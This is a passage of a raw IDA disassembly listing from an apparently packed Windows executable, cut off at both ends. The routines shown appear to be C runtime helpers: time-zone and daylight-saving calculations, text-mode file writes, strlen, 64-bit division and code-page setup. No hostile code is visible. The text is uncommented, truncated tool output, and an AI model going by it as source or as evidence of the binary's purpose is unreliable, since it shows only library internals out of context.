sub_405538+2Cj ; sub_405538+F0j mov edx, dword_4094CC mov eax, dword_4094DC mov ecx, [esi+1Ch] cmp edx, eax jge short loc_40569C cmp ecx, edx jl loc_405545 cmp ecx, eax jg loc_405545 cmp ecx, edx jle short loc_4056B0 cmp ecx, eax jge short loc_4056B0 loc_405696: ; CODE XREF: sub_405538+166j ; sub_405538+16Aj mov eax, ebx loc_405698: ; CODE XREF: sub_405538+Fj ; sub_405538+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40569C: ; CODE XREF: sub_405538+144j cmp ecx, eax jl short loc_405696 cmp ecx, edx jg short loc_405696 cmp ecx, eax jle short loc_4056B0 cmp ecx, edx jl loc_405545 loc_4056B0: ; CODE XREF: sub_405538+158j ; sub_405538+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_4056D7 xor ecx, ecx cmp eax, dword_4094D0 setnl cl loc_4056D3: ; CODE XREF: sub_405538+1AAj mov eax, ecx jmp short loc_405698 ; --------------------------------------------------------------------------- loc_4056D7: ; CODE XREF: sub_405538+18Ej xor ecx, ecx cmp eax, dword_4094E0 setl cl jmp short loc_4056D3 sub_405538 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4056E4 proc near ; CODE XREF: sub_405538+99p ; sub_405538+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_40577F mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_40570F shl esi, 2 mov eax, dword_4094E0[esi] jmp short loc_405718 ; --------------------------------------------------------------------------- loc_40570F: ; CODE XREF: sub_4056E4+1Ej shl esi, 2 mov eax, dword_409514[esi] loc_405718: ; CODE XREF: sub_4056E4+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jge short loc_405752 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_40575C ; --------------------------------------------------------------------------- loc_405752: ; CODE XREF: sub_4056E4+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_40575C: ; CODE XREF: sub_4056E4+6Cj cmp [ebp+arg_10], 5 jnz short loc_40579A cmp [ebp+arg_8], 0 jnz short loc_405770 mov esi, dword_4094E4[esi] jmp short loc_405776 ; --------------------------------------------------------------------------- loc_405770: ; CODE XREF: sub_4056E4+82j mov esi, dword_409518[esi] loc_405776: ; CODE XREF: sub_4056E4+8Aj cmp ecx, esi jle short loc_40579A sub ecx, 7 jmp short loc_40579A ; --------------------------------------------------------------------------- loc_40577F: ; CODE XREF: sub_4056E4+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_405790 mov ecx, dword_4094E0[eax*4] jmp short loc_405797 ; --------------------------------------------------------------------------- loc_405790: ; CODE XREF: sub_4056E4+A1j mov ecx, dword_409514[eax*4] loc_405797: ; CODE XREF: sub_4056E4+AAj add ecx, [ebp+arg_18] loc_40579A: ; CODE XREF: sub_4056E4+7Cj ; sub_4056E4+94j ... cmp [ebp+arg_0], 1 jnz short loc_4057CB mov eax, [ebp+arg_1C] mov dword_4094CC, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_4094C8, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_4094D0, eax jmp short loc_405820 ; --------------------------------------------------------------------------- loc_4057CB: ; CODE XREF: sub_4056E4+BAj mov eax, [ebp+arg_1C] mov dword_4094DC, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_409438 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_4094E0, eax jns short loc_405803 add eax, 5265C00h dec ecx mov dword_4094E0, eax jmp short loc_405814 ; --------------------------------------------------------------------------- loc_405803: ; CODE XREF: sub_4056E4+110j mov edx, 5265C00h cmp eax, edx jl short loc_40581A sub eax, edx inc ecx mov dword_4094E0, eax loc_405814: ; CODE XREF: sub_4056E4+11Dj mov dword_4094DC, ecx loc_40581A: ; CODE XREF: sub_4056E4+126j mov dword_4094D8, ebx loc_405820: ; CODE XREF: sub_4056E4+E5j pop esi pop ebx pop ebp retn sub_4056E4 endp ; =============== S U B R O U T I N E ======================================= sub_405824 proc near ; CODE XREF: sub_403C77+CDp ; sub_4058BE+59p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_518660 push esi push edi jnb short loc_4058A6 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:518560h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_4058A6 push eax call sub_406A62 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_405868 mov dword_409A70, 9 jmp short loc_4058B7 ; --------------------------------------------------------------------------- loc_405868: ; CODE XREF: sub_405824+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call dword_408040 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_405888 call dword_408044 jmp short loc_40588A ; --------------------------------------------------------------------------- loc_405888: ; CODE XREF: sub_405824+5Aj xor eax, eax loc_40588A: ; CODE XREF: sub_405824+62j test eax, eax jz short loc_405897 push eax call sub_406981 pop ecx jmp short loc_4058B7 ; --------------------------------------------------------------------------- loc_405897: ; CODE XREF: sub_405824+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_4058BA ; --------------------------------------------------------------------------- loc_4058A6: ; CODE XREF: sub_405824+Dj ; sub_405824+2Aj and dword_409A74, 0 mov dword_409A70, 9 loc_4058B7: ; CODE XREF: sub_405824+42j ; sub_405824+71j or eax, 0FFFFFFFFh loc_4058BA: ; CODE XREF: sub_405824+80j pop edi pop esi pop ebx retn sub_405824 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4058BE proc near ; CODE XREF: sub_403C77+95p ; sub_403C77+E8p ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_518660 push esi push edi jnb loc_405A52 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:518560h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_405A52 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_40590F loc_405908: ; CODE XREF: sub_4058BE+177j xor eax, eax jmp loc_405A66 ; --------------------------------------------------------------------------- loc_40590F: ; CODE XREF: sub_4058BE+48j test al, 20h jz short loc_40591F push 2 push edi push ecx call sub_405824 add esp, 0Ch loc_40591F: ; CODE XREF: sub_4058BE+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_4059EE mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_405A26 loc_40593F: ; CODE XREF: sub_4058BE+F5j lea eax, [ebp+var_414] loc_405945: ; CODE XREF: sub_4058BE+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_405979 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_405964 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_405964: ; CODE XREF: sub_4058BE+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_405945 loc_405979: ; CODE XREF: sub_4058BE+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_408048 test eax, eax jz short loc_4059E3 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_4059B5 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_40593F loc_4059B5: ; CODE XREF: sub_4058BE+EAj ; sub_4058BE+12Ej xor edi, edi loc_4059B7: ; CODE XREF: sub_4058BE+150j ; sub_4058BE+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_405A4D cmp [ebp+arg_0], edi jz short loc_405A26 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_405A1B mov dword_409A70, 9 mov dword_409A74, eax jmp loc_405A63 ; --------------------------------------------------------------------------- loc_4059E3: ; CODE XREF: sub_4058BE+E0j call dword_408044 mov [ebp+arg_0], eax jmp short loc_4059B5 ; --------------------------------------------------------------------------- loc_4059EE: ; CODE XREF: sub_4058BE+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call dword_408048 test eax, eax jz short loc_405A10 mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_4059B7 ; --------------------------------------------------------------------------- loc_405A10: ; CODE XREF: sub_4058BE+145j call dword_408044 mov [ebp+arg_0], eax jmp short loc_4059B7 ; --------------------------------------------------------------------------- loc_405A1B: ; CODE XREF: sub_4058BE+10Fj push [ebp+arg_0] call sub_406981 pop ecx jmp short loc_405A63 ; --------------------------------------------------------------------------- loc_405A26: ; CODE XREF: sub_4058BE+7Bj ; sub_4058BE+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_405A3B mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_405908 loc_405A3B: ; CODE XREF: sub_4058BE+16Fj mov dword_409A70, 1Ch mov dword_409A74, edi jmp short loc_405A63 ; --------------------------------------------------------------------------- loc_405A4D: ; CODE XREF: sub_4058BE+FEj sub eax, [ebp+var_10] jmp short loc_405A66 ; --------------------------------------------------------------------------- loc_405A52: ; CODE XREF: sub_4058BE+15j ; sub_4058BE+37j and dword_409A74, 0 mov dword_409A70, 9 loc_405A63: ; CODE XREF: sub_4058BE+120j ; sub_4058BE+166j ... or eax, 0FFFFFFFFh loc_405A66: ; CODE XREF: sub_4058BE+4Cj ; sub_4058BE+192j pop edi pop esi pop ebx leave retn sub_4058BE endp ; =============== S U B R O U T I N E ======================================= sub_405A6B proc near ; CODE XREF: sub_403C77+6Cp arg_0 = dword ptr 4 inc dword_409CBC push 1000h call sub_4028C6 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_405A94 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_405AA5 ; --------------------------------------------------------------------------- loc_405A94: ; CODE XREF: sub_405A6B+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_405AA5: ; CODE XREF: sub_405A6B+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_405A6B endp ; =============== S U B R O U T I N E ======================================= sub_405AAF proc near ; CODE XREF: sub_403C77+61p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_518660 jb short loc_405ABE xor eax, eax retn ; --------------------------------------------------------------------------- loc_405ABE: ; CODE XREF: sub_405AAF+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_518560[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_405AAF endp ; =============== S U B R O U T I N E ======================================= sub_405AD5 proc near ; DATA XREF: .packed:0040900Co mov eax, dword_518540 push esi push 14h test eax, eax pop esi jnz short loc_405AE9 mov eax, 200h jmp short loc_405AEF ; --------------------------------------------------------------------------- loc_405AE9: ; CODE XREF: sub_405AD5+Bj cmp eax, esi jge short loc_405AF4 mov eax, esi loc_405AEF: ; CODE XREF: sub_405AD5+12j mov dword_518540, eax loc_405AF4: ; CODE XREF: sub_405AD5+16j push 4 push eax call sub_406A9F pop ecx mov dword_517528, eax test eax, eax pop ecx jnz short loc_405B28 push 4 push esi mov dword_518540, esi call sub_406A9F pop ecx mov dword_517528, eax test eax, eax pop ecx jnz short loc_405B28 push 1Ah call sub_402FD6 pop ecx loc_405B28: ; CODE XREF: sub_405AD5+30j ; sub_405AD5+49j xor ecx, ecx mov eax, offset off_409550 loc_405B2F: ; CODE XREF: sub_405AD5+6Ej mov edx, dword_517528 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset off_4097D0 jl short loc_405B2F xor edx, edx mov ecx, offset dword_409560 loc_405B4C: ; CODE XREF: sub_405AD5+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_518560[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_405B69 test eax, eax jnz short loc_405B6C loc_405B69: ; CODE XREF: sub_405AD5+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_405B6C: ; CODE XREF: sub_405AD5+92j add ecx, 20h inc edx cmp ecx, offset dword_4095C0 jl short loc_405B4C pop esi retn sub_405AD5 endp ; =============== S U B R O U T I N E ======================================= sub_405B7A proc near ; DATA XREF: .packed:0040901Co ; FUNCTION CHUNK AT 00406B1C SIZE 00000058 BYTES call sub_406C0B cmp byte_409AB0, 0 jz short locret_405B8D jmp loc_406B1C ; --------------------------------------------------------------------------- locret_405B8D: ; CODE XREF: sub_405B7A+Cj retn sub_405B7A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_405B90 proc near ; CODE XREF: sub_403D8C:loc_40418Cp ; sub_404820+26p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_405BB0 loc_405B9C: ; CODE XREF: sub_405B90+19j mov al, [ecx] inc ecx test al, al jz short loc_405BE3 test ecx, 3 jnz short loc_405B9C add eax, 0 loc_405BB0: ; CODE XREF: sub_405B90+Aj ; sub_405B90+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_405BB0 mov eax, [ecx-4] test al, al jz short loc_405C01 test ah, ah jz short loc_405BF7 test eax, 0FF0000h jz short loc_405BED test eax, 0FF000000h jz short loc_405BE3 jmp short loc_405BB0 ; --------------------------------------------------------------------------- loc_405BE3: ; CODE XREF: sub_405B90+11j ; sub_405B90+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_405BED: ; CODE XREF: sub_405B90+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_405BF7: ; CODE XREF: sub_405B90+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_405C01: ; CODE XREF: sub_405B90+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_405B90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405C0B proc near ; CODE XREF: sub_403D8C+2D4p ; sub_403D8C+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_405C17 pop ebp retn ; --------------------------------------------------------------------------- loc_405C17: ; CODE XREF: sub_405C0B+8j cmp dword_409CDC, 0 jnz short loc_405C32 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_405C64 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_405C32: ; CODE XREF: sub_405C0B+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_409304 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_409CEC call dword_4080C0 test eax, eax jz short loc_405C64 cmp [ebp+arg_0], 0 jz short loc_405C71 loc_405C64: ; CODE XREF: sub_405C0B+1Ej ; sub_405C0B+51j mov dword_409A70, 2Ah or eax, 0FFFFFFFFh loc_405C71: ; CODE XREF: sub_405C0B+57j pop ebp retn sub_405C0B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_405C80 proc near ; CODE XREF: sub_403D8C+5C4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_405CA2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_405CE3 ; --------------------------------------------------------------------------- loc_405CA2: ; CODE XREF: sub_405C80+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_405CB0: ; CODE XREF: sub_405C80+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_405CB0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_405CDE cmp edx, [esp+8+arg_4] ja short loc_405CDE jb short loc_405CDF cmp eax, [esp+8+arg_0] jbe short loc_405CDF loc_405CDE: ; CODE XREF: sub_405C80+4Ej ; sub_405C80+54j dec esi loc_405CDF: ; CODE XREF: sub_405C80+56j ; sub_405C80+5Cj xor edx, edx mov eax, esi loc_405CE3: ; CODE XREF: sub_405C80+20j pop esi pop ebx retn 10h sub_405C80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_405CF0 proc near ; CODE XREF: sub_403D8C+5B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_405D11 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_405D61 ; --------------------------------------------------------------------------- loc_405D11: ; CODE XREF: sub_405CF0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_405D1F: ; CODE XREF: sub_405CF0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_405D1F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_405D4A cmp edx, [esp+4+arg_4] ja short loc_405D4A jb short loc_405D52 cmp eax, [esp+4+arg_0] jbe short loc_405D52 loc_405D4A: ; CODE XREF: sub_405CF0+4Aj ; sub_405CF0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_405D52: ; CODE XREF: sub_405CF0+52j ; sub_405CF0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_405D61: ; CODE XREF: sub_405CF0+1Fj pop ebx retn 10h sub_405CF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405D65 proc near ; CODE XREF: sub_404596+5Ep ; sub_40612F+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4084F8 push offset sub_402E08 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_409CC0 xor ebx, ebx cmp eax, ebx jnz short loc_405DD4 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_4084F0 push esi call dword_408064 test eax, eax jz short loc_405DB2 mov eax, esi jmp short loc_405DCF ; --------------------------------------------------------------------------- loc_405DB2: ; CODE XREF: sub_405D65+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4084EC push esi push ebx call dword_408038 test eax, eax jz loc_405E9A push 2 pop eax loc_405DCF: ; CODE XREF: sub_405D65+4Bj mov dword_409CC0, eax loc_405DD4: ; CODE XREF: sub_405D65+2Fj cmp eax, 2 jnz short loc_405DFD mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_405DE5 mov eax, dword_409CDC loc_405DE5: ; CODE XREF: sub_405D65+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call dword_408038 jmp loc_405E9C ; --------------------------------------------------------------------------- loc_405DFD: ; CODE XREF: sub_405D65+72j cmp eax, 1 jnz loc_405E9A cmp [ebp+arg_10], ebx jnz short loc_405E13 mov eax, dword_409CEC mov [ebp+arg_10], eax loc_405E13: ; CODE XREF: sub_405D65+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call dword_40803C mov [ebp+var_20], eax cmp eax, ebx jz short loc_405E9A mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_402CE0 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_406C90 add esp, 0Ch jmp short loc_405E69 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_405E69: ; CODE XREF: sub_405D65+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_405E9A push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call dword_40803C cmp eax, ebx jz short loc_405E9A push [ebp+arg_C] push eax push esi push [ebp+arg_0] call dword_408064 jmp short loc_405E9C ; --------------------------------------------------------------------------- loc_405E9A: ; CODE XREF: sub_405D65+61j ; sub_405D65+9Bj ... xor eax, eax loc_405E9C: ; CODE XREF: sub_405D65+93j ; sub_405D65+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_405D65 endp ; =============== S U B R O U T I N E ======================================= sub_405EAE proc near ; CODE XREF: sub_4047C8+2Bp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_405EBF add esp, 0Ch retn sub_405EAE endp ; =============== S U B R O U T I N E ======================================= sub_405EBF proc near ; CODE XREF: sub_405EAE+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_517421[eax], cl jnz short loc_405EEC cmp [esp+arg_4], 0 jz short loc_405EE5 movzx eax, word_409102[eax*2] and eax, [esp+arg_4] jmp short loc_405EE7 ; --------------------------------------------------------------------------- loc_405EE5: ; CODE XREF: sub_405EBF+16j xor eax, eax loc_405EE7: ; CODE XREF: sub_405EBF+24j test eax, eax jnz short loc_405EEC retn ; --------------------------------------------------------------------------- loc_405EEC: ; CODE XREF: sub_405EBF+Fj ; sub_405EBF+2Aj push 1 pop eax retn sub_405EBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405EF0 proc near ; CODE XREF: sub_4062B4+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_406089 mov esi, eax pop ecx cmp esi, dword_5172FC mov [ebp+arg_0], esi jz loc_40607D xor ebx, ebx cmp esi, ebx jz loc_406073 xor edx, edx mov eax, offset dword_4097F8 loc_405F24: ; CODE XREF: sub_405EF0+41j cmp [eax], esi jz short loc_405F9A add eax, 30h inc edx cmp eax, offset dword_4098E8 jl short loc_405F24 lea eax, [ebp+var_18] push eax push esi call dword_408030 cmp eax, 1 jnz loc_40606B push 40h xor eax, eax pop ecx mov edi, offset byte_517420 cmp [ebp+var_18], 1 mov dword_5172FC, esi rep stosd stosb mov dword_517524, ebx jbe loc_406059 cmp [ebp+var_12], 0 jz loc_40602F lea ecx, [ebp+var_11] loc_405F77: ; CODE XREF: sub_405EF0+139j mov dl, [ecx] test dl, dl jz loc_40602F movzx eax, byte ptr [ecx-1] movzx edx, dl loc_405F88: ; CODE XREF: sub_405EF0+A8j cmp eax, edx ja loc_406023 or byte_517421[eax], 4 inc eax jmp short loc_405F88 ; --------------------------------------------------------------------------- loc_405F9A: ; CODE XREF: sub_405EF0+36j push 40h xor eax, eax pop ecx mov edi, offset byte_517420 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_409808[esi] loc_405FB6: ; CODE XREF: sub_405EF0+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_405FE9 loc_405FBD: ; CODE XREF: sub_405EF0+F7j mov dl, [ecx+1] test dl, dl jz short loc_405FE9 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_405FE2 mov edx, [ebp+var_4] mov dl, byte_4097F0[edx] loc_405FD7: ; CODE XREF: sub_405EF0+F0j or byte_517421[eax], dl inc eax cmp eax, edi jbe short loc_405FD7 loc_405FE2: ; CODE XREF: sub_405EF0+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_405FBD loc_405FE9: ; CODE XREF: sub_405EF0+CBj ; sub_405EF0+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_405FB6 mov eax, [ebp+arg_0] mov dword_51730C, 1 push eax mov dword_5172FC, eax call sub_4060D3 lea esi, dword_4097FC[esi] mov edi, offset dword_517300 movsd movsd pop ecx mov dword_517524, eax movsd jmp short loc_406078 ; --------------------------------------------------------------------------- loc_406023: ; CODE XREF: sub_405EF0+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_405F77 loc_40602F: ; CODE XREF: sub_405EF0+7Ej ; sub_405EF0+8Bj push 1 pop eax loc_406032: ; CODE XREF: sub_405EF0+14Fj or byte_517421[eax], 8 inc eax cmp eax, 0FFh jb short loc_406032 push esi call sub_4060D3 pop ecx mov dword_517524, eax mov dword_51730C, 1 jmp short loc_40605F ; --------------------------------------------------------------------------- loc_406059: ; CODE XREF: sub_405EF0+74j mov dword_51730C, ebx loc_40605F: ; CODE XREF: sub_405EF0+167j xor eax, eax mov edi, offset dword_517300 stosd stosd stosd jmp short loc_406078 ; --------------------------------------------------------------------------- loc_40606B: ; CODE XREF: sub_405EF0+51j cmp dword_409CC4, ebx jz short loc_406081 loc_406073: ; CODE XREF: sub_405EF0+27j call sub_406106 loc_406078: ; CODE XREF: sub_405EF0+131j ; sub_405EF0+179j call sub_40612F loc_40607D: ; CODE XREF: sub_405EF0+1Dj xor eax, eax jmp short loc_406084 ; --------------------------------------------------------------------------- loc_406081: ; CODE XREF: sub_405EF0+181j or eax, 0FFFFFFFFh loc_406084: ; CODE XREF: sub_405EF0+18Fj pop edi pop esi pop ebx leave retn sub_405EF0 endp ; =============== S U B R O U T I N E ======================================= sub_406089 proc near ; CODE XREF: sub_405EF0+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_409CC4, 0 cmp eax, 0FFFFFFFEh jnz short loc_4060A9 mov dword_409CC4, 1 jmp dword_408028 ; --------------------------------------------------------------------------- loc_4060A9: ; CODE XREF: sub_406089+Ej cmp eax, 0FFFFFFFDh jnz short loc_4060BE mov dword_409CC4, 1 jmp dword_40802C ; --------------------------------------------------------------------------- loc_4060BE: ; CODE XREF: sub_406089+23j cmp eax, 0FFFFFFFCh jnz short locret_4060D2 mov eax, dword_409CEC mov dword_409CC4, 1 locret_4060D2: ; CODE XREF: sub_406089+38j retn sub_406089 endp ; =============== S U B R O U T I N E ======================================= sub_4060D3 proc near ; CODE XREF: sub_405EF0+118p ; sub_405EF0+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_406100 sub eax, 4 jz short loc_4060FA sub eax, 0Dh jz short loc_4060F4 dec eax jz short loc_4060EE xor eax, eax retn ; --------------------------------------------------------------------------- loc_4060EE: ; CODE XREF: sub_4060D3+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_4060F4: ; CODE XREF: sub_4060D3+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_4060FA: ; CODE XREF: sub_4060D3+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_406100: ; CODE XREF: sub_4060D3+9j mov eax, 411h retn sub_4060D3 endp ; =============== S U B R O U T I N E ======================================= sub_406106 proc near ; CODE XREF: sub_405EF0:loc_406073p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_517420 rep stosd stosb xor eax, eax mov 